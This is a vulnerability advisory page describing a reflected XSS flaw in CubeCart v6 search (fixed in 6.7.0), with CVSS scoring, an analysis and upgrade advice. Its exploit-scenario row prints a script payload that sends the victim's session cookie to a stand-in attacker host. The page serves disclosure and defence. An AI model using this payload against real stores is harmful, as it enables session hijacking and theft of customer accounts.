EUVD-2026-30164Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
CubeCart is an ecommerce software solution. Prior to 6.7.0, an unauthenticated Reflected XSS vulnerability exists in the CubeCart v6.x search feature. Due to a logic flaw in classes/catalogue.class.php, user input is reflected without sanitization only when a search returns exactly one product. This flaw bypasses current filters, allowing an attacker to execute malicious JavaScript in the victim's browser, leading to session hijacking, site defacement, or phishing. This vulnerability is fixed in 6.7.0.
AnalysisAI
Reflected XSS in CubeCart v6 (prior to 6.7.0) enables unauthenticated remote attackers to execute arbitrary JavaScript in a victim's browser by delivering a crafted search URL that triggers a specific single-result code path in the search feature. The flaw exists in classes/catalogue.class.php where the searchCatalogue() method reflects the raw $_REQUEST['search']['keywords'] parameter in a notification message without sanitization - but only when the search returns exactly one product, bypassing all other input filters. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the attacker-controlled search[keywords] value, when submitted to the target store, returns exactly one product - this is the precise conditional branch in searchCatalogue() where sanitization is absent. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | CVSS 6.1 (Medium) with vector AV:N/AC:L/PR:N/UI:R/S:C reflects a network-accessible, low-complexity attack requiring no privileges but mandating victim interaction (UI:R), with changed scope (C:L/I:L) impacting confidentiality and integrity but not availability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker researches a target CubeCart store's product catalog to identify a keyword that returns exactly one search result, then appends a JavaScript payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) to that keyword within a crafted search URL. The attacker delivers this URL to a logged-in store user via a phishing email or social media lure, and when the victim clicks the link, CubeCart's single-result notification path reflects the unsanitized keyword, executing the attacker's script and exfiltrating the victim's session cookie. … |
| Remediation | Upgrade to CubeCart 6.7.0, which contains the vendor-released patch confirmed in commit b9d03e20b9d0f443f8ea55fd834e348438e2cc0c and the GitHub security advisory at https://github.com/cubecart/v6/security/advisories/GHSA-gvcp-wpvp-c6f7. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Authentication bypass in Discuz! X5.0 releases 20260320 through 20260501 allows unauthenticated remote attackers to acce
Authenticated remote code execution in Discuz! X5.0 releases 20260320 through 20260501 allows administrators to chain a
Unauthenticated PHP Object Injection in the Happyforms WordPress plugin (versions <= 1.26.13) allows remote attackers to
Unauthenticated PHP Object Injection in the Broadcast Live Video WordPress plugin (versions prior to 7.1.3) allows remot
Unauthenticated PHP object injection in the WordPress plugin 'Integration for Keap/Infusionsoft and Contact Form 7, WPFo
Share
External POC / Exploit Code
Leaving vuln.today